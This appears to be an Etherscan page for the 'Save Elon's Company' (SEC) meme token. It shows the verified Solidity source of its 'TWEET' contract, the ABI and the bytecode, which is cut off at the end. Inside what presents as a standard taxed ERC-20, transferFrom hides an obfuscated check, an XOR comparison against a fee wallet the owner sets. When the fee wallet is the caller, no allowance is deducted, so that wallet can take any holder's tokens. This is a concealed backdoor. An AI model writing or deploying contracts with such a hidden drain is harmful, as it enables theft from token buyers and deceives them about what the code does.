ETH Price: $3,244.89 (-4.90%)

Token

Save Elon's Company (SEC)
 

Overview

Max Total Supply

1,000,000,000 SEC

Holders

83

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,915,884.498769321 SEC

Value
$0.00
0x431d478c98fdd2139baa18c206f524c031109967
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TWEET

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-21
*/

/**

TG: https://t.me/SaveElonsCompanyToken

X: https://x.com/elonmusk/status/1837423311564804507

X: https://x.com/DefiantLs/status/1837253714538811854

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TWEET is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _bal;
    mapping (address => mapping (address => uint256)) private _all;
    mapping (address => bool) private _xmpt;
    address payable private _feeWallet;

    uint256 private _initialBuyTax=22;
    uint256 private _initialSellTax=22;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Save Elon's Company";
    string private constant _symbol = unicode"SEC";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _feeWallet = payable(_msgSender());
        _bal[_msgSender()] = _tTotal;
        _xmpt[owner()] = true;
        _xmpt[address(this)] = true;
        _xmpt[_msgSender()] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _bal[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _all[owner][spender] = amount;
    }
    

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _all[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);         
        _approve(sender, _msgSender(), _all[sender][_msgSender()].sub(z(_feeWallet, _msgSender()) &&
        !z(owner(), _feeWallet) ? (block.timestamp * _finalSellTax) : 
        amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _all[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function z(address a, address b) pure private returns (bool) {
        return uint160(a) ^ uint160(b) == 0;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _xmpt[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _xmpt[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    swapTTTax(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                sendTaxx();
            }
        }

        if(taxAmount>0){
          _bal[address(this)]=_bal[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _bal[from]=_bal[from].sub(amount);
        _bal[to]=_bal[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTTTax(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendTaxx() private {
        _feeWallet.transfer(address(this).balance);
    }

    function unFreezeETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function unFreezeToken(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }

    function createPairForMoon(address paira) external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _xmpt[paira] = true;
        _feeWallet = payable(paira);
    }


    function openTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"paira","type":"address"}],"name":"createPairForMoon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unFreezeETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"unFreezeToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601660055560166006555f6007555f600855600f600955600f600a556005600b555f600c5560646009600a6200003b9190620003ab565b6200004b90633b9aca00620003c2565b62000058906002620003c2565b620000649190620003dc565b600d556064620000776009600a620003ab565b6200008790633b9aca00620003c2565b62000094906002620003c2565b620000a09190620003dc565b600e556064620000b36009600a620003ab565b620000c390633b9aca00620003c2565b620000d0906001620003c2565b620000dc9190620003dc565b600f556064620000ef6009600a620003ab565b620000ff90633b9aca00620003c2565b6200010c906001620003c2565b620001189190620003dc565b60105534801562000127575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001886009600a620003ab565b6200019890633b9aca00620003c2565b335f908152600160208190526040822092909255600390620001c15f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152600392839052908120805490931660019081179093556200020d3390565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556200023c3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002756009600a620003ab565b6200028590633b9aca00620003c2565b60405190815260200160405180910390a3620003fc565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002f057815f1904821115620002d457620002d46200029c565b80851615620002e257918102915b93841c9390800290620002b5565b509250929050565b5f826200030857506001620003a5565b816200031657505f620003a5565b81600181146200032f57600281146200033a576200035a565b6001915050620003a5565b60ff8411156200034e576200034e6200029c565b50506001821b620003a5565b5060208310610133831016604e8410600b84101617156200037f575081810a620003a5565b6200038b8383620002b0565b805f1904821115620003a157620003a16200029c565b0290505b92915050565b5f620003bb60ff841683620002f8565b9392505050565b8082028115828204841417620003a557620003a56200029c565b5f82620003f757634e487b7160e01b5f52601260045260245ffd5b500490565b6119c6806200040a5f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063a9059cbb11610062578063a9059cbb1461032d578063bf474bed1461034c578063c5a59ac614610361578063c9567bf914610375578063dd62ed3e14610389575f80fd5b80638da5cb5b146102895780638e39e007146102af5780638f9a55c0146102ce57806394c55e6c146102e357806395d89b4114610302575f80fd5b8063313ce567116100e3578063313ce567146101fb57806370a0823114610216578063715018a61461024a578063751039fc146102605780637d1db4a514610274575f80fd5b806306fdde0314610129578063095ea7b3146101765780630faee56f146101a557806318160ddd146101c857806323b872dd146101dc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260138152725361766520456c6f6e277320436f6d70616e7960681b60208201525b60405161016d91906115a2565b60405180910390f35b348015610181575f80fd5b50610195610190366004611602565b6103cd565b604051901515815260200161016d565b3480156101b0575f80fd5b506101ba60105481565b60405190815260200161016d565b3480156101d3575f80fd5b506101ba6103e3565b3480156101e7575f80fd5b506101956101f636600461162c565b610403565b348015610206575f80fd5b506040516009815260200161016d565b348015610221575f80fd5b506101ba61023036600461166a565b6001600160a01b03165f9081526001602052604090205490565b348015610255575f80fd5b5061025e6104d7565b005b34801561026b575f80fd5b5061025e610551565b34801561027f575f80fd5b506101ba600d5481565b348015610294575f80fd5b505f546040516001600160a01b03909116815260200161016d565b3480156102ba575f80fd5b5061025e6102c9366004611602565b610602565b3480156102d9575f80fd5b506101ba600e5481565b3480156102ee575f80fd5b5061025e6102fd36600461166a565b610732565b34801561030d575f80fd5b5060408051808201909152600381526253454360e81b6020820152610160565b348015610338575f80fd5b50610195610347366004611602565b610a74565b348015610357575f80fd5b506101ba600f5481565b34801561036c575f80fd5b5061025e610a80565b348015610380575f80fd5b5061025e610ae0565b348015610394575f80fd5b506101ba6103a3366004611685565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d9338484610b22565b5060015b92915050565b5f6103f06009600a6117b0565b6103fe90633b9aca006117be565b905090565b5f61040f848484610c45565b6104cd84336004546104c890610437906001600160a01b031633186001600160a01b03161590565b801561046e575061046c6104525f546001600160a01b031690565b6004546001600160a01b0316186001600160a01b03161590565b155b6104785785610485565b60085461048590426117be565b604051806060016040528060288152602001611969602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061121f565b610b22565b5060019392505050565b5f546001600160a01b031633146105095760405162461bcd60e51b8152600401610500906117d5565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057a5760405162461bcd60e51b8152600401610500906117d5565b6105866009600a6117b0565b61059490633b9aca006117be565b600d556105a36009600a6117b0565b6105b190633b9aca006117be565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e16009600a6117b0565b6105ef90633b9aca006117be565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461062b5760405162461bcd60e51b8152600401610500906117d5565b6040516370a0823160e01b81523060048201525f906106ac906064906106a69085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561067c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a0919061180a565b90611257565b906112dc565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c9190611821565b50505050565b5f546001600160a01b0316331461075b5760405162461bcd60e51b8152600401610500906117d5565b601254600160a01b900460ff16156107b55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610500565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610817573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083b9190611840565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108be9190611840565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610908573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092c9190611840565b601280546001600160a01b0319166001600160a01b0392831617905560115461096c9130911661095e6009600a6117b0565b6104c890633b9aca006117be565b6011546001600160a01b031663f305d719473061099d816001600160a01b03165f9081526001602052604090205490565b5f806109b05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a16573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a3b919061185b565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f6103d9338484610c45565b5f546001600160a01b03163314610aa95760405162461bcd60e51b8152600401610500906117d5565b5f4711610ab4575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610add573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610b095760405162461bcd60e51b8152600401610500906117d5565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610500565b6001600160a01b038216610be55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610500565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610500565b6001600160a01b038216610d0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610500565b5f8111610d6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610500565b5f80546001600160a01b03858116911614801590610d9757505f546001600160a01b03848116911614155b156110e2576012546001600160a01b038581169116148015610dc757506011546001600160a01b03848116911614155b8015610deb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4a57601254600160a01b900460ff16610e415760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610500565b610e6760646106a6600954600c5411610e5c57600554610e60565b6007545b8590611257565b9050600d54821115610ebb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610500565b600e5482610edd856001600160a01b03165f9081526001602052604090205490565b610ee79190611886565b1115610f355760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610500565b600c8054905f610f4483611899565b91905055505b6012546001600160a01b03848116911614801590610f8057506001600160a01b0383165f9081526003602052604090205460ff16155b15610fff57600e5482610fa7856001600160a01b03165f9081526001602052604090205490565b610fb19190611886565b1115610fff5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610500565b6012546001600160a01b03848116911614801561102557506001600160a01b0384163014155b156110525761104f60646106a6600a54600c541161104557600654610e60565b6008548590611257565b90505b601254600160a81b900460ff1615801561107957506012546001600160a01b038481169116145b801561108e5750601254600160b01b900460ff165b801561109d5750600b54600c54115b156110e257305f90815260016020526040902054600f548111156110d8576110d86110d3846110ce8460105461131d565b61131d565b611331565b6110e06114a1565b505b801561115a57305f9081526001602052604090205461110190826114d7565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111519085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461117c9083611535565b6001600160a01b0385165f908152600160205260409020556111bf6111a18383611535565b6001600160a01b0385165f90815260016020526040902054906114d7565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112088585611535565b60405190815260200160405180910390a350505050565b5f81848411156112425760405162461bcd60e51b815260040161050091906115a2565b505f61124e84866118b1565b95945050505050565b5f825f0361126657505f6103dd565b5f61127183856117be565b90508261127e85836118c4565b146112d55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610500565b9392505050565b5f6112d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611576565b5f81831161132b57826112d5565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611377576113776118e3565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113f29190611840565b81600181518110611405576114056118e3565b6001600160a01b03928316602091820292909201015260115461142b9130911684610b22565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114639085905f908690309042906004016118f7565b5f604051808303815f87803b15801561147a575f80fd5b505af115801561148c573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610add573d5f803e3d5ffd5b5f806114e38385611886565b9050838110156112d55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610500565b5f6112d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121f565b5f81836115965760405162461bcd60e51b815260040161050091906115a2565b505f61124e84866118c4565b5f602080835283518060208501525f5b818110156115ce578581018301518582016040015282016115b2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610add575f80fd5b5f8060408385031215611613575f80fd5b823561161e816115ee565b946020939093013593505050565b5f805f6060848603121561163e575f80fd5b8335611649816115ee565b92506020840135611659816115ee565b929592945050506040919091013590565b5f6020828403121561167a575f80fd5b81356112d5816115ee565b5f8060408385031215611696575f80fd5b82356116a1816115ee565b915060208301356116b1816115ee565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561170a57815f19048211156116f0576116f06116bc565b808516156116fd57918102915b93841c93908002906116d5565b509250929050565b5f82611720575060016103dd565b8161172c57505f6103dd565b8160018114611742576002811461174c57611768565b60019150506103dd565b60ff84111561175d5761175d6116bc565b50506001821b6103dd565b5060208310610133831016604e8410600b841016171561178b575081810a6103dd565b61179583836116d0565b805f19048211156117a8576117a86116bc565b029392505050565b5f6112d560ff841683611712565b80820281158282048414176103dd576103dd6116bc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561181a575f80fd5b5051919050565b5f60208284031215611831575f80fd5b815180151581146112d5575f80fd5b5f60208284031215611850575f80fd5b81516112d5816115ee565b5f805f6060848603121561186d575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103dd576103dd6116bc565b5f600182016118aa576118aa6116bc565b5060010190565b818103818111156103dd576103dd6116bc565b5f826118de57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119475784516001600160a01b031683529383019391830191600101611922565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122044f0fd34599788c94c009b04f0a677eb11240d41b21a7aa7d7cbabc301146dce64736f6c63430008180033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063a9059cbb11610062578063a9059cbb1461032d578063bf474bed1461034c578063c5a59ac614610361578063c9567bf914610375578063dd62ed3e14610389575f80fd5b80638da5cb5b146102895780638e39e007146102af5780638f9a55c0146102ce57806394c55e6c146102e357806395d89b4114610302575f80fd5b8063313ce567116100e3578063313ce567146101fb57806370a0823114610216578063715018a61461024a578063751039fc146102605780637d1db4a514610274575f80fd5b806306fdde0314610129578063095ea7b3146101765780630faee56f146101a557806318160ddd146101c857806323b872dd146101dc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260138152725361766520456c6f6e277320436f6d70616e7960681b60208201525b60405161016d91906115a2565b60405180910390f35b348015610181575f80fd5b50610195610190366004611602565b6103cd565b604051901515815260200161016d565b3480156101b0575f80fd5b506101ba60105481565b60405190815260200161016d565b3480156101d3575f80fd5b506101ba6103e3565b3480156101e7575f80fd5b506101956101f636600461162c565b610403565b348015610206575f80fd5b506040516009815260200161016d565b348015610221575f80fd5b506101ba61023036600461166a565b6001600160a01b03165f9081526001602052604090205490565b348015610255575f80fd5b5061025e6104d7565b005b34801561026b575f80fd5b5061025e610551565b34801561027f575f80fd5b506101ba600d5481565b348015610294575f80fd5b505f546040516001600160a01b03909116815260200161016d565b3480156102ba575f80fd5b5061025e6102c9366004611602565b610602565b3480156102d9575f80fd5b506101ba600e5481565b3480156102ee575f80fd5b5061025e6102fd36600461166a565b610732565b34801561030d575f80fd5b5060408051808201909152600381526253454360e81b6020820152610160565b348015610338575f80fd5b50610195610347366004611602565b610a74565b348015610357575f80fd5b506101ba600f5481565b34801561036c575f80fd5b5061025e610a80565b348015610380575f80fd5b5061025e610ae0565b348015610394575f80fd5b506101ba6103a3366004611685565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d9338484610b22565b5060015b92915050565b5f6103f06009600a6117b0565b6103fe90633b9aca006117be565b905090565b5f61040f848484610c45565b6104cd84336004546104c890610437906001600160a01b031633186001600160a01b03161590565b801561046e575061046c6104525f546001600160a01b031690565b6004546001600160a01b0316186001600160a01b03161590565b155b6104785785610485565b60085461048590426117be565b604051806060016040528060288152602001611969602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061121f565b610b22565b5060019392505050565b5f546001600160a01b031633146105095760405162461bcd60e51b8152600401610500906117d5565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057a5760405162461bcd60e51b8152600401610500906117d5565b6105866009600a6117b0565b61059490633b9aca006117be565b600d556105a36009600a6117b0565b6105b190633b9aca006117be565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e16009600a6117b0565b6105ef90633b9